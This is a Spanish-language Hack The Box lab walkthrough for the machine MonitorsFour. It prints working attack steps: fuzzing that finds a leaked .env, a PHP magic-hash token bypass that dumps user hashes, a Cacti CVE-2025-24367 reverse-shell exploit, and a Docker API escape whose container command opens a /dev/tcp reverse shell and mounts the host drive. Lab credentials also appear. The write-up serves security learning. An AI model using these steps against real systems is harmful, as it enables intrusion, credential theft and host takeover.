MonitorsFour - Hack The Box

texto

Herramientas utilizadas:

  • ping
  • nmap
  • **
  • **
  • **
  • **






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 10.10.11.98
PING 10.10.11.98 (10.10.11.98) 56(84) bytes of data.
64 bytes from 10.10.11.98: icmp_seq=1 ttl=127 time=79.8 ms
64 bytes from 10.10.11.98: icmp_seq=2 ttl=127 time=70.5 ms
64 bytes from 10.10.11.98: icmp_seq=3 ttl=127 time=75.3 ms
64 bytes from 10.10.11.98: icmp_seq=4 ttl=127 time=75.0 ms

--- 10.10.11.98 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 70.526/75.162/79.810/3.284 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.98 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 01:42 CST
Initiating SYN Stealth Scan at 01:42
Scanning 10.10.11.98 [65535 ports]
Discovered open port 80/tcp on 10.10.11.98
Discovered open port 5985/tcp on 10.10.11.98
Completed SYN Stealth Scan at 01:43, 26.80s elapsed (65535 total ports)
Nmap scan report for 10.10.11.98
Host is up, received user-set (0.21s latency).
Scanned at 2025-12-14 01:42:38 CST for 26s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack ttl 127
5985/tcp open  wsman   syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.90 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 22 (984B)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.


Solamente obtuvimos dos puertos abiertos, así que supongo que la intrusión será por la página web del puerto 80.


Escaneo de Servicios

nmap -sCV -p 80,5985 10.10.11.98 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 01:44 CST
Nmap scan report for 10.10.11.98
Host is up (0.071s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.


El escaneo nos esta indicando que cuando entremos a la página web, nos va a redirigir a un dominio.

Registremos ese dominio en el /etc/hosts:

echo "10.10.11.98 monitorsfour.htb" >> /etc/hosts

No tenemos otra información, así que vayamos a analizar la página web.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Parece ser una página web dedicada a la implementación de redes empresariales.

Veamos qué nos dice Wappalizer:

Podemos destacar el uso de Nginx y de PHP.

En la página principal, vemos que es posible loguearnos:

Pero como no tenemos credenciales válidas, tendremos que buscar otra forma de ganar acceso.

De momento no hay más que podamos hacer, así que apliquemos Fuzzing para buscar archivos o directorios ocultos.


Fuzzing

Aplicaremos Fuzzing intensivo para descubrir varias cosas del dominio.


Aplicando Fuzzing a la Página Web para Descubrir Archivos o Directorios Ocultos

Primero probemos con la herramienta ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ -u http://monitorsfour.htb/FUZZ -t 300 -e .php,.txt,.html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .php .txt .html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.env                    [Status: 200, Size: 97, Words: 1, Lines: 6, Duration: 132ms]
.htpasswd               [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 146ms]
.git/logs/.html         [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 150ms]
.htaccess.txt           [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 152ms]
.htaccess.html          [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 152ms]
.hta                    [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 258ms]
.hta.txt                [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 342ms]
.htpasswd.txt           [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 341ms]
.hta.html               [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 351ms]
.htaccess               [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 395ms]
.htpasswd.html          [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 420ms]
cgi-bin/.html           [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 92ms]
contact                 [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 1256ms]
controllers             [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 233ms]
forgot-password         [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 1528ms]
login                   [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 1794ms]
static                  [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 90ms]
views                   [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 127ms]
user                    [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 1895ms]
:: Progress: [18984/18984] :: Job [1/1] :: 247 req/sec :: Duration: [0:01:00] :: Errors: 0 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-e Para indicar una busqueda de archivos específicos.


Ahora probemos con gobuster:

gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 300 -x php,txt,html --ne
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 146]
/.htaccess.html       (Status: 403) [Size: 146]
/.htpasswd.txt        (Status: 403) [Size: 146]
/.htaccess            (Status: 403) [Size: 146]
/.htaccess.txt        (Status: 403) [Size: 146]
/.htpasswd.html       (Status: 403) [Size: 146]
/.hta.html            (Status: 403) [Size: 146]
/.hta.txt             (Status: 403) [Size: 146]
/.hta                 (Status: 403) [Size: 146]
/.git/logs/.html      (Status: 403) [Size: 146]
/.env                 (Status: 200) [Size: 97]
/cgi-bin/.html        (Status: 403) [Size: 146]
/controllers          (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
/contact              (Status: 200) [Size: 367]
/forgot-password      (Status: 200) [Size: 3099]
/login                (Status: 200) [Size: 4340]
/static               (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
/views                (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
/user                 (Status: 200) [Size: 35]
Progress: 18984 / 18984 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
-x Para indicar una busqueda de archivos específicos.
–ne Para que no muestre errores.


En ambos casos obtuvimos bastantes resultados, pero los que más llaman la atención son el archivo .env y la página /user.

Observa lo que pasa si tratamos de ver el contenido del archivo .env:

curl -s http://monitorsfour.htb/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

Vemos las credenciales de acceso del servicio MariaDB.

Ahora, veamos la página /user:

Parece que necesitamos encontrar el parámetro de esta página, pero antes de seguir avanzando, veamos si existe algún subdominio.


Aplicando Fuzzing para Identificar Subdominios

Para esto, primero usaremos la herramienta ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://monitorsfour.htb/FUZZ -H "Host: FUZZ.monitorsfour.htb" -t 300 -fs 138

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 138
________________________________________________

cacti                   [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 282ms]
:: Progress: [4989/4989] :: Job [1/1] :: 417 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-H Para indicar el uso de una cabecera HTTP específica.
-fs Para aplicar un filtro que solo muestre resultados de un tamaño especifico.


Ahora probemos con gobuster:

gobuster dns --do monitorsfour.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 300 --ne
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     monitorsfour.htb
[+] Threads:    300
[+] Timeout:    1s
[+] Wordlist:   /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
cacti.monitorsfour.htb ::ffff:10.10.11.98
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
–do Para indiccar un dominio a usar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
–ne Para que no muestre errores.


Encontramos un subdominio.

Registralo en el /etc/hosts y luego visitalo:

Parece que encontramos otro login y esta utilizando una herramienta llamada cacti.

Antes de seguir investigando, tratemos de obtener el parámetro que hace falta en la página /user.


Aplicando Fuzzing a Página user para Encontrar Parámetro Oculto

Primero usaremos la herramienta ffuf y usaremos el wordlist /seclists/Discovery/Web-Content/burp-parameter-names.txt:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://monitorsfour.htb/user?FUZZ=test' -t 300 -fs 35

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/user?FUZZ=test
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 35
________________________________________________

token                   [Status: 200, Size: 36, Words: 4, Lines: 1, Duration: 2557ms]
:: Progress: [6453/6453] :: Job [1/1] :: 105 req/sec :: Duration: [0:00:56] :: Errors: 0 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-fs Para aplicar un filtro que solo muestre resultados de un tamaño especifico.


Ahora probemos con gobuster:

gobuster fuzz -u 'http://monitorsfour.htb/user?FUZZ=test' -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 300 --xl 35 --ne
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://monitorsfour.htb/user?FUZZ=test
[+] Method:           GET
[+] Threads:          300
[+] Wordlist:         /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
[+] Exclude Length:   35
[+] User Agent:       gobuster/3.8
[+] Timeout:          10s
===============================================================
Starting gobuster in fuzzing mode
===============================================================
[Status=200] [Length=36] [Word=token] http://monitorsfour.htb/user?token=test
Progress: 6453 / 6453 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
–xl Para aplicar un filtro que solo muestre resultados de n tamaño.
–ne Para que no muestre errores.


Excelente, identificamos el parámetro que se necesita usar para que la página funcione.

Pero observa lo que pasa cuando lo probamos:

Necesitamos encontrar un token válido para poder ver información.

También descubrimos que este endpoint /user es una API, que suponiendo que tengamos el token correcto, podríamos ver información de los usuarios registrados.

Con todo lo que hemos descubierto, haremos lo siguiente:

  • Identificar un token válido para el endpoint /user.
  • Ganar acceso al login del subdominio cacti.
  • Ganar acceso al login del dominio monitorsfour.




Explotación de Vulnerabilidades



Aplicando Bypass a PHP Type Juggling con Magic Hashes para Ver Contenido de API user y Crackeando Hash MD5

Investigando como es posible el funcionamiento de este parámetro y viendo el uso de PHP Ver. 8.3.27, vemos que se esta aplicando PHP Type Juggling.

¿Qué es PHP Type Juggling?

PHP Type Juggling
Type juggling en PHP es un comportamiento del lenguaje (no una vulnerabilidad por sí solo) que ocurre cuando PHP convierte automáticamente tipos de datos al hacer comparaciones u operaciones. El problema aparece cuando esa conversión se usa mal en validaciones, y ahí sí se convierte en una vulnerabilidad explotable.


Aquí tienes un repositorio que explica las vulnerabilidades que se pueden aplicar en PHP Type Juggling:

En este repositorio se nos explica que, a partir de la versión 8 de PHP, se utilizan comparación aproximada (loose comparison) en lugar de comparación estricta (stric comparison).

Pero, si un usuario tiene control de las variables que utilizan esto, podemos aprovechar una implementación debil para obtener resultados positivos cuando no deberiamos obtenerlos.

Para esto, utilizaremos Magic Hashes:

Magic Hashes
Los magic hashes son un caso especial de type juggling en PHP que permite bypassear comparaciones de hashes cuando la aplicación usa comparación débil (==) en lugar de comparación estricta. Un magic hash es un hash que empieza con 0e seguido solo de números, y que PHP interpreta como un número en notación científica.


Le pedi a ChatGPT que generara un wordlist de Magic Hashes, así que te lo comparto:

cat php_magic_hashes.txt
240610708
QNKCDZO
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
s1885207154a
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0
00
000
0e0
0e1
0e1337
0e12345
0e123456789
0e987654321
0e999999
0e999999999
true
false
True
False
TRUE
FALSE
1abc
1e1
1e10
01
001

Probemos este wordlist con ffuf para probar si alguno funciona:

ffuf -w php_type_juggling_hashes.txt:FUZZ -u 'http://monitorsfour.htb/user?token=FUZZ' -t 300 -fs 36

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/user?token=FUZZ
 :: Wordlist         : FUZZ: /home/berserkwings/Escritorio/HackTheBox/Season9/MonitorsFour/content/php_type_juggling_hashes.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 36
________________________________________________

0e999999                [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 105ms]
0e987654321             [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 110ms]
0e1337                  [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 105ms]
000                     [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 107ms]
0e12345                 [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 101ms]
0e1                     [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 103ms]
0e999999999             [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 136ms]
0e0                     [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 137ms]
0e123456789             [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 137ms]
0                       [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 137ms]
00                      [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 138ms]
:: Progress: [35/35] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Excelente, parece que funcionaron varios de estos.

Probemos alguno desde el navegador o puedes hacer una petición GET con curl:

curl -s "http://monitorsfour.htb/user?token=0" | jq
[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]

Genial, podemos ver el contenido del endpoint /user y son los datos de usuarios registrados.

Parece que sus contraseñas estan convertidas en Hash MD5.

Guardemos los Hashes MD5 en un archivo de texto:

curl -s "http://monitorsfour.htb/user?token=0" | jq -r '.[].password' > hashes.txt

Para crackearlos, usaremos la página web crackstation:

Copialos y pegalos en la página:

También puede hacerlo con JohnTheRipper:

john -w:/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
**********       (?)     
1g 0:00:00:00 DONE (2025-12-14 21:21) 1.162g/s 16678Kp/s 16678Kc/s 50054KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Muy bien, tenemos la contraseña solo del usuario admin.

Con este usuario y contraseña, podemos ganar acceso al login del dominio monitourfour.htb:

Caso contrario con el login de cacti, pero ganamos acceso si usamos el nombre asociado a este usuario, que sería marcus:

Busquemos una forma de explotar estos dos accesos que tenemos.


Probando Exploit: CVE-2025-24367 - Cacti Authenticated Graph Template RCE

Durante la investigación del dominio y del uso de la herramienta cacti, vemos que existe una vulnerabilidad reciente para la versión usada de cacti.

Pero, veamos de que trata esta herramienta:

Cacti Network Management
Cacti es una herramienta de Network Management / Network Monitoring de código abierto, muy usada para monitorear el rendimiento de redes y sistemas mediante gráficas históricas. Cacti permite recopilar métricas (tráfico, CPU, memoria, disco, etc.) y mostrarlas en gráficas a lo largo del tiempo, principalmente usando SNMP y RRDTool.


La vulnerabidad reciente CVE-2025-24367, permite inyectar comandos si tenemos un usuario válido, lo que nos puede permitir inyectar y ejecutar una Reverse Shell.

Curiosamente, uno de los autores que creo esta máquina, creo un script de Python que explota esta vulnerabilidad y ejecuta una Reverse Shell:

Podemos descargarlo con wget:

wget https://raw.githubusercontent.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC/refs/heads/main/exploit.py

Abre un listener con netcat:

nc -nlvp 443
listening on [any] 443 ...

En el repositorio se nos indica que, tenemos que darle las credenciales de acceso, la url del dominio vulnerable, nuestra IP y un puerto a usar.

Probemoslo:

python3 exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i Tu_IP -l 443
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: NTaDI.php
[+] Got payload: /bash
[i] Created PHP filename: CJ6yg.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

Observa la netcat:

nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.98] 50105
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ whoami
whoami
www-data

Estamos dentro.

Obtengamos una sesión interactiva:

# Paso 1:
script /dev/null -c bash

# Paso 2:
CTRL + Z

# Paso 3:
stty raw -echo; fg

# Paso 4:
reset -> xterm

# Paso 5:
export TERM=xterm && export SHELL=bash && stty rows 51 columns 189

Si revisamos el directorio /home, veremos que podemos entrar al directorio del usuario marcus:

www-data@821fbd6a43fa:~/html/cacti$ ls -la /home/
total 16
drwxr-xr-x 1 root   root   4096 Nov 10 16:15 .
drwxr-xr-x 1 root   root   4096 Dec 15 03:51 ..
drwxr-xr-x 1 marcus marcus 4096 Dec 14 18:52 marcus

Entramos ahí y obtendremos la flag del usuario:

www-data@821fbd6a43fa:~/html/cacti$ cd /home/marcus/
www-data@821fbd6a43fa:/home/marcus$ ls
user.txt
www-data@821fbd6a43fa:/home/marcus$ cat user.txt
...




Post Explotación


www-data@821fbd6a43fa:/home/marcus$ sudo -l
bash: sudo: command not found
www-data@821fbd6a43fa:/home/marcus$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@821fbd6a43fa:/tmp/Brsk$ ip a 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo 
       valid_lft forever preferred_lft forever
2: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 5e:da:0e:c7:8a:9c brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
www-data@821fbd6a43fa:/tmp/Brsk$ cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::	ip6-localnet
ff00::	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.18.0.3	821fbd6a43fa
www-data@821fbd6a43fa:/tmp/Brsk$ cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal
www-data@821fbd6a43fa:/tmp/Brsk$ for port in {1..65535}; do echo > /dev/tcp/192.168.65.7/$port && echo "Port: $port open"; done 2>/dev/null
Port: 53 open
Port: 2375 open
Port: 3128 open
Port: 5555 open
www-data@821fbd6a43fa:/tmp/Brsk$ curl -s http://192.168.65.7:2375
{"message":"page not found"}
./chisel server -p 4444 --reverse --socks5
2025/12/14 22:57:23 server: Reverse tunnelling enabled
2025/12/14 22:57:23 server: Fingerprint fg0Niy...
2025/12/14 22:57:23 server: Listening on http://0.0.0.0:4444
2025/12/14 22:57:35 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
www-data@821fbd6a43fa:/tmp/Brsk$ ./chisel client Tu_IP:4444 R:socks
2025/12/15 04:57:35 client: Connecting to ws://Tu_IP:4444
2025/12/15 04:57:37 client: Connected (Latency 374.347447ms)
proxychains nmap -sT -Pn -n -sV -p 53,2375,3128,5555 192.168.65.7
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 22:44 CST
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.65.7:53  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.65.7:3128  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.65.7:2375  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.65.7:5555  ...  OK
...
...
PORT     STATE SERVICE  VERSION
53/tcp   open  domain   (generic dns response: NOTIMP)
2375/tcp open  docker   Docker 28.3.2
3128/tcp open  http     nginx
5555/tcp open  freeciv?
www-data@821fbd6a43fa:/tmp/Brsk$ curl http://192.168.65.7:2375/version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"28.3.2","Details":{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-07-09T16:13:55.000000000+00:00","Experimental":"false","GitCommit":"e77ff99","GoVersion":"go1.24.5","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.27","Details":{"GitCommit":"05044ec0a9a75232cad458027ca83437aae3f4da"}},{"Name":"runc","Version":"1.2.5","Details":{"GitCommit":"v1.2.5-0-g59923ef"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"28.3.2","ApiVersion":"1.51","MinAPIVersion":"1.24","GitCommit":"e77ff99","GoVersion":"go1.24.5","Os":"linux","Arch":"amd64","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","BuildTime":"2025-07-09T16:13:55.000000000+00:00"}
cat create_container.json
{ "Image": "docker_setup-nginx-php:latest", "Cmd": ["/bin/bash","-c","bash -i >& /dev/tcp/Tu_IP/1337 0>&1"], "HostConfig": { "Binds": ["/mnt/host/c:/host_root"] } }
www-data@821fbd6a43fa:/tmp/Brsk$ curl http://Tu_IP/create_container.json -o create_container.json
www-data@821fbd6a43fa:/tmp/Brsk$ curl -H "Content-Type: application/json" -d @create_container.json http://192.168.65.7:2375/containers/create -o resp.json
www-data@821fbd6a43fa:/tmp/Brsk$ cat resp.json 
{"Id":"3df7054...","Warnings":[]}
nc -nlvp 1337
listening on [any] 1337 ...
www-data@821fbd6a43fa:/tmp/Brsk$ cid=3df7054...
www-data@821fbd6a43fa:/tmp/Brsk$ curl -X POST http://192.168.65.7:2375/containers/$cid/start
nc -nlvp 1337
listening on [any] 1337 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.98] 50136
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3df7054cf3c9:/var/www/html# whoami
whoami
root
root@3df7054cf3c9:/# cd host_root
cd host_root
root@3df7054cf3c9:/host_root# ls
ls
$RECYCLE.BIN
$WinREAgent
Documents and Settings
DumpStack.log.tmp
PerfLogs
Program Files
Program Files (x86)
ProgramData
Recovery
System Volume Information
Users
Windows
Windows.old
inetpub
pagefile.sys
root@3df7054cf3c9:/host_root# cd Users/Administrator/Desktop
cd Users/Administrator/Desktop
root@3df7054cf3c9:/host_root/Users/Administrator/Desktop# ls
ls
desktop.ini
root.txt
root@3df7054cf3c9:/host_root/Users/Administrator/Desktop# cat root.txt
cat root.txt
...



